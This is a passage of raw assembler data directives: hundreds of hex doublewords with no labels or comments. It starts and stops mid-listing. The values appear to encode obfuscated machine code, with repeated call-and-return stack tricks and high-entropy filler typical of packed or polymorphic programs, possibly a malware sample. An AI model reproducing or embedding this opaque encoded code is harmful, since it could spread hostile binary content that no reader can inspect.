		dd 0D2305422h, 0F1D88122h, 5887037Dh, 50DC445Eh, 0C9DC1466h
		dd 0E9831822h, 8BA4F305h, 53006AD9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 686647h, 7BE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 2B24F137h, 60E0F81Eh, 0FE9h, 0C547FC00h
		dd 82FF728Bh, 0CED6CE05h, 8077AC21h, 6160F860h,	880F6161h
		dd 19h,	14E9h, 0DE630A00h, 0E9B783ADh, 2AFC8F39h, 0BA1DC736h
		dd 0B334EB65h, 0AE96183h, 0A000000h, 0F2573961h, 0DB74BA82h
		dd 840FC302h, 8, 8F0F60h, 61000000h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 88D50C3h
		dd 0D43BB9AAh, 99BD83F9h, 64812h, 0BD830975h, 6480D35h
		dd 50197400h, 0B8C08B53h, 4B9h,	2FF98589h, 9D8D0648h, 64AA4CBh
		dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h,	4B9h, 2FF98589h
		dd 9D8D0648h, 64AA16Ch,	585BD3FFh, 8850Fh, 0B9600000h
		dd 4FF231BAh, 6A61F5h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0F60ABC3h, 61F8FEBFh, 6AC08BF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5EC1C356h, 0F7C603ADh, 13E960BBh,	7E000000h
		dd 8389B488h, 0D19C19F3h, 5270BDCFh, 0A4E713h, 0D5BEA6C6h
		dd 6150DEE4h, 81C18B40h, 899833F7h, 4EB78h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B69C350h, 480E19BDh, 55858D06h, 6A064812h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0F83EC352h, 660D1D80h, 5458F681h,	0F525090h
		dd 82h,	0BE310F00h, 5B5F8568h, 5750585Ah, 453D38BEh, 6A905E7Ah
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 8D006AFEh, 4BCD7685h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0DE1B4A0h
		dd 5C0835Eh, 0AE9h, 0ED9E2800h,	0EED3E5DBh, 90914E07h
		dd 0F525050h, 5E505131h, 90585A5Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 28C35040h, 6A204444h, 59EE8100h
		dd 6A2731DCh, 0DE800h, 0AB930000h, 0DBDEA94Dh, 0B37C077Ch
		dd 5E46046Bh, 2B2D95FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 325DF4C3h, 85D8EECAh
		dd 8DF8319Dh, 4B99389Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0D3FF67F8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h, 89E5C24Eh
		dd 4809E19Dh, 3DBD0106h, 0FF064833h, 481AD185h,	0D5858906h
		dd 0E906482Bh, 6DAh, 0E8h, 0ED815D00h, 64BCD80h, 2FF5BD8Bh
		dd 0DE90648h, 31000000h, 11A7459Dh, 29EAB36Dh, 0A92332CCh
		dd 82DBD81h, 7D00648h, 860F0000h, 13Eh,	9D8BF78Bh, 6480125h
		dd 394BF681h, 0E3810488h, 100h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 49C35747h, 0D7ED8257h, 0FEBF0F14h
		dd 850FDB0Bh, 0A7h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 67C35343h, 14697A36h,	0B58BBF7Ah, 64816A9h
		dd 0CBE2BD83h, 0F00064Bh, 3684h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 250FEFBFh
		dd 68A0Fh, 0BD8B0000h, 6480121h, 6BE9h,	999D8900h, 0C7064800h
		dd 4BCBE285h, 106h, 0C5B52300h,	0E906482Eh, 50h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E1C35545h, 0EC076C22h
		dd 660A8844h, 0C72F93BFh, 4BCBE285h, 6,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0FE8B2094h, 1259D8Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 3B703CC3h, 0FBBF0F1Dh
		dd 0FEFF2381h, 8C66FFFFh, 52006ADBh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0BA4332ACh
		dd 27CD26CBh, 0BD2957F8h, 64817A1h, 7995895Fh, 0F6064818h
		dd 840F04C3h, 59h, 6E9h, 1C885600h, 56AEDC07h, 95FF5FF8h
		dd 64828F1h, 5090F78Bh,	53525052h, 66310F5Fh, 5ACE6BBEh
		dd 50310F58h, 52310F52h, 5A585A5Eh, 0B6605058h,	0A155BFC6h
		dd 906165A4h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	0AAC35242h, 3A9E9EAh, 0B00000h,	3091BD89h, 70E60648h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0EDC35040h
		dd 0BF66BD7Dh, 71E477E9h, 0B60FF08Bh, 51006AD8h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E9E7A2D5h, 5, 8DBC41C3h, 6BABCh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 89D3CEC3h
		dd 0C1F5C38Bh, 6A04E8h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 5C0202C3h, 21BF0FA9h, 0E2F766F9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h
		dd 0F40DC726h, 0BE749F17h, 76A66AA7h, 6AD82Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0EE39D6C3h, 0FAE9C68Dh, 0E9885BE1h, 0Eh, 0C9C4912Ah
		dd 491EA6Bh, 47CFFB84h,	0E99395FEh, 7, 7E137B56h, 500B69FBh
		dd 56006A93h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 84CFA2ADh, 6FCFBF66h, 82DB5FFh, 0FE8B0648h
		dd 92D95FFh, 0B00648h, 8830Fh, 81530000h, 0DE22E0E7h, 70E65E25h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9AC35646h
		dd 843FEA11h, 0BD8B18D4h, 6480A59h, 0B58971E4h,	64810A1h
		dd 830F613Ch, 213h, 0C444DE81h,	0B60F7BE3h, 10E8D8h, 689F0000h
		dd 0FD108B93h, 881287F4h, 4FF843B8h, 8B0F1A2Ch,	0
		dd 6BA5Eh, 85010000h, 6483239h,	9D89C38Bh, 64803E5h, 8904E8C1h
		dd 482B859Dh, 0E2F76606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 2DC35747h, 8C87FEA9h,	0FB8B8E29h, 9531D82Bh
		dd 6483035h, 52006A58h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0D4A2D0B0h, 0E669CC6Eh, 0C204BFD8h
		dd 0D82B7A74h, 171880Fh, 7B90000h, 0F000000h, 0C183F0BFh
		dd 0F2B70F00h, 860FD93Bh, 15Bh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0DAC35141h,	1B9CDBBEh, 7C4062DCh
		dd 2BB98531h, 8C660648h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 783B6D29h, 75B589h, 0C1F60648h
		dd 0D9840F04h, 0F000000h, 68Dh,	51858900h, 0FF06481Bh
		dd 4828F195h, 5D9D2906h, 0E8064813h, 11h, 0AF1EB8FDh, 0A7BA275Fh
		dd 0FFA4F41Ch, 56B42FC4h, 0CAD78155h, 5E0C38C6h, 53006A5Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 2996DBE8h, 0FE9A0h, 0FB330000h, 7E7C64CCh, 0D5C7BE2Eh
		dd 0A560DCE1h, 59D8922h, 2B064806h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0D92B85B6h
		dd 343D79EFh, 0F000008h, 3B86h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 36E154Ch, 1B99139h
		dd 4828C18Dh, 85095206h, 6483035h, 2DE95Fh, 0DF810000h
		dd 6B16D304h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 99303BC3h, 76D7D9Dh, 8BFDD4C7h
		dd 2BD88BC3h, 48297DBDh, 7985C706h, 77064830h, 0E85ECFEFh
		dd 0Fh,	60347A83h, 6458804Dh, 0B92D76F8h, 0E9740744h, 9
		dd 0F76D6D33h, 0A8126788h, 0C08B5FE7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 72C35343h, 0BF0FF886h, 2DBD81F2h
		dd 0D0064808h, 0F000007h, 3085h, 8A0F6000h, 2, 0D78B5F57h
		dd 2D85FF61h, 6A064808h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 173DC352h, 2DB5FF2Eh
		dd 6A064808h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 7BCCC350h, 0F9BCAD81h,	33A336AEh
		dd 482A55B5h, 2D95FF06h, 6A064809h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 908EC355h
		dd 5F710269h, 8D607489h, 0C5958B60h, 81064810h,	0B1F0B1F7h
		dd 0BF0F613Bh, 78B890F9h, 89123456h, 4827C9B5h,	9D8DF806h
		dd 64BD439h, 0FFF92BE9h, 0BE66FCFFh, 0C18BE443h, 20199D89h
		dd 4EB0648h, 0
		dd 22C99D29h, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0F50205C3h, 22D19501h, 858D0648h
		dd 6481255h, 3810Fh, 8B660000h,	0EE990FBh, 4A000000h, 7E11C605h
		dd 0A7C73069h, 3038F183h, 5250507Ch, 48C0Fh, 0BE660000h
		dd 310F41DCh, 585A5F51h, 0CE990h, 3A70000h, 74702F00h
		dd 0B4854999h, 6A3CF4h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 19C35141h, 0C434FE84h, 6A236542h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0F88B88C8h, 0D634858Dh, 0C083064Bh, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0F32840CEh, 4C5E7E2Ch, 0C6810C2Fh, 5CC428B9h, 89ABF66h
		dd 0F18A6050h, 0E4E047BEh, 489615Ch, 0ADBD2924h, 6A06480Bh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0F7816618h, 6ACDDDh, 3880Fh, 8B660000h
		dd 2D95FFF0h, 8D06482Bh, 4B99389Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 6993060Dh
		dd 0E860D033h, 8, 4442DD6Dh, 97E74C96h,	10E9h, 3B403700h
		dd 0C8EB394Dh, 0EF020732h, 0BB55E828h, 0DE959F1h, 0DE000000h
		dd 34493664h, 13020389h, 0F0C5EAD7h, 0FB8B6661h, 6AD3FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0BF21D3C3h, 0A660983h, 81665F94h, 0FFB2E2DFh, 481AD185h
		dd 0CF816606h, 0B70F9379h, 0F17E9FAh, 0E80000h,	5D000000h
		dd 0D63EED81h, 6A064Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B7842C3h, 4828EDBDh, 5D8D8906h
		dd 3064814h, 483295BDh,	2DBD8106h, 0D0064808h, 0F000007h
		dd 16686h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0C20F760Ah, 4916695Ch, 0C99D8B54h
		dd 6A06482Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 81E1C352h, 100E3h, 0F78B6600h
		dd 850FDB0Bh, 0C0h, 11658D09h, 0BD830648h, 64BD45Fh, 53840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 3C08C351h, 736F4ADBh, 0D59F3EF7h
		dd 2F158D89h, 0B2E90648h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0BD24C355h
		dd 7844CF81h, 85C700CAh, 64BD45Fh, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0F6C35545h,	0AB64196Bh, 5EE9A8ECh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0D1DEC351h, 0AD4D6739h, 0BD01DB30h
		dd 64831B1h, 0D45F85C7h, 64Bh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 2F5274C3h
		dd 35BD8BB2h, 81064800h, 349180EFh, 0C99D8D7Ah,	0B06482Fh
		dd 4816A5BDh, 0FF238106h, 8BFFFFFEh, 558D09F7h,	66064800h
		dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BE66B1C3h, 0C3F69213h, 33840F04h, 66000000h
		dd 95FFF98Bh, 64828F1h,	0F78B90FCh, 6A9050h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1FDCA6C3h
		dd 0E58F1852h, 0CFE95D5Fh, 6A000003h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 3E70C352h
		dd 4AAF5C2h, 9570F6A7h,	28E19589h, 0B00648h, 79F68166h
		dd 8970E6C8h, 4830618Dh, 0F71E406h, 6AD8B6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 18C4DAC3h
		dd 37490B41h, 0A999589h, 6BA0648h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0ADE3C356h, 0BF18509h, 95890648h, 648328Dh, 6AC38Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0AEC082C3h, 60B7341Fh, 0CA816056h, 7E794033h, 14DD958Bh
		dd 5E610648h, 3104E8C1h, 480AF195h, 0E2F76606h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F3C35747h, 0D82B53C4h
		dd 1C498589h, 66930648h, 505382BEh, 6A93F98Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 1BCFC355h, 0C72675C1h, 9F17F40Dh, 82DB5FFh, 0B70F0648h
		dd 2D95FFFEh, 0B0064809h, 0BF0F6000h, 898589C8h, 61064816h
		dd 0E6F6BF0Fh, 50006A70h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 2822052Eh, 71E436C5h
		dd 0D1B58B60h, 9064811h, 480071BDh, 0BD016106h,	64812E1h
		dd 830F613Ch, 246h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 75C35545h, 40C57A9Ah,	0F1051B9h, 0F781D8B6h
		dd 6CEDB604h, 102DB58Bh, 6BA0648h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0C943C357h, 0C12B2D68h, 29C9BD8Bh, 0C38B0648h, 8B04E8C1h
		dd 0E8E0FF3h, 60000000h, 55EC781h, 9D897F83h, 6480C8Dh
		dd 0E2F76661h, 0BE9h, 0D477400h, 7E02C474h, 1B55C854h
		dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0AE093BC3h, 5546FE06h, 14DDBD89h,	6A580648h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 817CC350h, 7D143A28h, 880FD82Bh, 166h, 81B58957h
		dd 5E064810h, 1A058D89h, 7B90648h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0A1D1C353h, 820F1Fh,	83000000h, 0B58B00C1h, 6480D59h
		dd 860FD93Bh, 11Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 4CC35040h, 6A42139Fh,	0C880Fh, 8B0F0000h
		dd 6, 8B0Fh, 8C660000h,	52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 2F5EF352h, 0A5BD8B2Eh
		dd 0F064801h, 28Fh, 0F6F38B00h,	840F04C1h, 92h,	68A0Fh
		dd 66570000h, 5E8FA2BEh, 28F195FFh, 81660648h, 0E97FC5F6h
		dd 0Ah,	981BF2Fh, 856B32A4h, 0E85B674Eh, 0Eh, 0E63042D1h
		dd 7870FE1h, 99BF7701h,	51514E32h, 0E95E5F5Eh, 13h, 8ADAA4B1h
		dd 2A7E60EFh, 8CE5F80h,	8332ECD5h, 2B3EAC12h, 50E781C3h
		dd 3D0535B2h, 834h, 28860Fh, 0B5890000h, 6482B9Dh, 3CE9F9h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C08B2BC3h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 23C35141h, 0C38B214Fh, 6AD88Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 9BE327C3h, 742E94FBh, 0CF8155AFh, 3723B951h,	12585C7h
		dd 6F110648h, 6A1161h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0B3A19DC3h, 0FABF667Eh
		dd 5800F3Eh, 0BE000000h, 3B55A7CAh, 0CE81C08Bh,	139672BDh
		dd 82DBD81h, 7D00648h, 850F0000h, 31h, 1C15B58Bh, 85FF0648h
		dd 648082Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0ECC35545h, 3612BF00h, 8B660369h, 2DB5FFF2h, 6A064808h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6E34C355h, 19BD896Ch, 81064818h, 9F79ABD6h
		dd 2D95FF76h, 6A064809h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 8F0CC356h, 2A227F29h
		dd 4090FD3Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	0ACC35646h, 0D09F935Ch,	0A0988BFBh, 66EE8A60h
		dd 615C3BB9h, 89BD83h, 0F000648h, 12884h, 0FFBF0F00h, 5B5BD83h
		dd 0F000648h, 11884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8166410Bh, 0FF0844F6h
		dd 48008995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0C00B4A66h, 0CB840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6E016CC3h, 7225EAB7h, 0F75B58Bh, 8D8D0648h, 6484E80h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 35C35040h
		dd 6890FE5h, 81000000h,	183864DFh, 5B832h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 954F37C3h, 30B18D89h, 0BE660648h, 0E1FF2C79h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0AEC35141h, 0E1E2868Ch
		dd 60A597F3h, 5890Fh, 0B80000h,	0F4FAFEDh, 583h, 0C9816600h
		dd 5061FC0Ah, 2840Fh, 5F500000h, 0DDBD835Eh, 6481Ch, 6A9840Fh
		dd 0EE810000h, 750004Eh, 5B5BD83h, 0F000648h, 69684h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 73C7425h, 15629BBCh,	198D8D24h, 6A064832h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 9BC350h, 0E8A18357h,	0Eh, 6E36434Eh,	3ED472DEh, 0BD568C5Eh
		dd 0C75E52F1h, 0B27C8401h, 52006A44h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 5314102Ch
		dd 0F88B269Eh, 0CFCB0181h, 0B70F1499h, 441C7F3h, 0CE706B34h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CAC35242h
		dd 82B7F6D4h, 8A0F53h, 5F000000h, 10044181h, 6A31D6D7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 7C9CC350h, 6A006A76h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 54E2C356h
		dd 858D65DCh, 6483219h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 31C35141h, 50FA8BE0h,	0C4D6BF66h, 51240489h
		dd 830Fh, 0FF5E0000h, 481CDD95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 860F06F0h
		dd 5, 10F78166h, 198D8D94h, 6A064832h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 20FCC356h
		dd 0F78B881Ah, 1C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 73F2EEC3h, 441C7h, 66000000h
		dd 8E4DE81h, 0BFE8B66h,	7C840FC0h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 3154C350h, 18663711h, 28E0Fh, 0FE8B0000h, 6820Fh, 0BD890000h
		dd 6482819h, 4E808D8Dh,	6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E92B87C3h, 7, 55F054A6h
		dd 8BA69ED3h, 481C65BDh, 5B806h, 81660000h, 0FFA4FEEEh
		dd 0DD8D89E1h, 8D064816h, 4832198Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 27D266A1h
		dd 0ADBD8BB7h, 29064805h, 4810D185h, 7C01C706h,	6644AA72h
		dd 181F38Bh, 1499CFCBh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B2C35747h, 66758B56h, 0C7705DBEh, 753C0441h
		dd 0BD8BCE78h, 64814D5h, 10044181h, 6A31D6D7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 296BC350h, 0F61735E3h, 0FAB70F60h, 0BD8B006Ah, 648165Dh
		dd 3219858Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 41B011C3h, 77DF2173h, 1B91B58Bh
		dd 8B500648h, 240489F0h, 0BE8h,	0A22A3000h, 4F3A05F6h
		dd 734561DEh, 781BD8Bh,	895F0648h, 480DB995h, 0DD95FF06h
		dd 906481Ch, 4814999Dh,	198D8D06h, 6A064832h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 1152C356h, 8D896052h, 6480509h, 1AA99D23h, 0C7610648h
		dd 1, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 119DA59Dh, 0ECCE3BABh, 800F4D3Dh
		dd 0
		dd 441C7h, 31000000h, 4808359Dh, 0FC00B06h, 8D84h, 0F98B6600h
		dd 4E808D8Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0F7E94DC3h, 9DC6F964h, 0F88D474h
		dd 688h, 37C68100h, 0F84B6314h,	5B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 665284F6h, 5E54ABBEh, 154D9D29h, 0E1FF0648h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 26C35040h, 0C3E38FE6h
		dd 8D8DD32Ah, 6483219h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 52C35343h, 0C7F38BC6h, 0CA95A501h, 0CB018154h
		dd 6A1499CFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0D3DCC355h, 8BCAE837h,	4817F1B5h
		dd 441C706h, 0CE5F5969h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 51C35343h, 44181CAh, 31D6D710h, 1A05B58Bh
		dd 6A0648h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	9DC35040h, 0BF18529h, 7E90648h,	2000000h, 0FBCF7F2Ch
		dd 858D5F68h, 6483219h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 9FC35545h, 1FCE8166h,	8A0F907Ch, 2, 0BE50F18Bh
		dd 5537D0EDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 8F9FD838h, 95FFF582h, 6481CDDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h, 0F9417674h
		dd 4254A8B9h, 0FFB70F55h, 32198D8Dh, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 551F55C3h
		dd 0D2643A98h, 0B5230FADh, 64805B1h, 1C7h, 0B58B0000h
		dd 64806D5h, 441C7h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0A11DC350h,	0FC00B33h
		dd 0A284h, 6870F00h, 8B000000h,	4829B5B5h, 808D8D06h, 0E906484Eh
		dd 0Bh,	3CAC58F8h, 88DAF21Fh, 60FF3770h, 0C15958Bh, 11E80648h
		dd 0BE000000h, 3880ED75h, 0B6BF6ED9h, 9439751h,	40B3A326h
		dd 17BD9523h, 615E0648h, 5B8h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1DC9BED8h
		dd 1F0E925Ch, 8D897B54h, 6482701h, 0BDD8589h, 0E1FF0648h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7FC35242h
		dd 29BD8B8Eh, 306482Ch,	0F0F4E9CAh, 6E9FFFFh, 0B3000000h
		dd 0CA3FF01Eh, 6AC18BC9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 3285C357h, 4E5BD89h
		dd 4EB0648h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0E5C35040h
		dd 8BFF6967h, 480545B5h, 1DBD2906h, 8D064806h, 48125585h
		dd 0A5B58B06h, 9006482Bh, 0DE8h, 3ECCD500h, 15B93C86h
		dd 2A986529h, 10E950DAh, 34000000h, 2E184B23h, 2511AFF0h
		dd 5F47A617h, 5E8E428Fh, 0CE950h, 19E90000h, 4659C27Ah
		dd 878A624Eh, 0E89074D8h, 6, 46ADB3DEh,	0B58B555Ah, 6480C9Dh
		dd 29006A5Eh, 48333DBDh, 6A006A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CB11C351h
		dd 85BEC1B7h, 0E8107CACh, 10h, 7F642D43h, 670EAAF7h, 0D4EC7788h
		dd 0B5D8FE40h, 180D9589h, 8D5E0648h, 4BE73985h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 17DA4B75h, 4DB58BF5h, 83064800h, 0B58B05C0h,	648332Dh
		dd 8B665090h, 6A90F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 521528C3h, 66EF60C6h, 68A0Fh, 0BD890000h
		dd 6480D91h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 8BD1A0C3h, 8B6B760Eh, 4808F5B5h
		dd 0F9006A06h, 2B2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 70FEA8C3h, 389D8D2Dh
		dd 1064B99h, 482C41BDh,	66D3FF06h, 92D9EE81h, 1AD185FFh
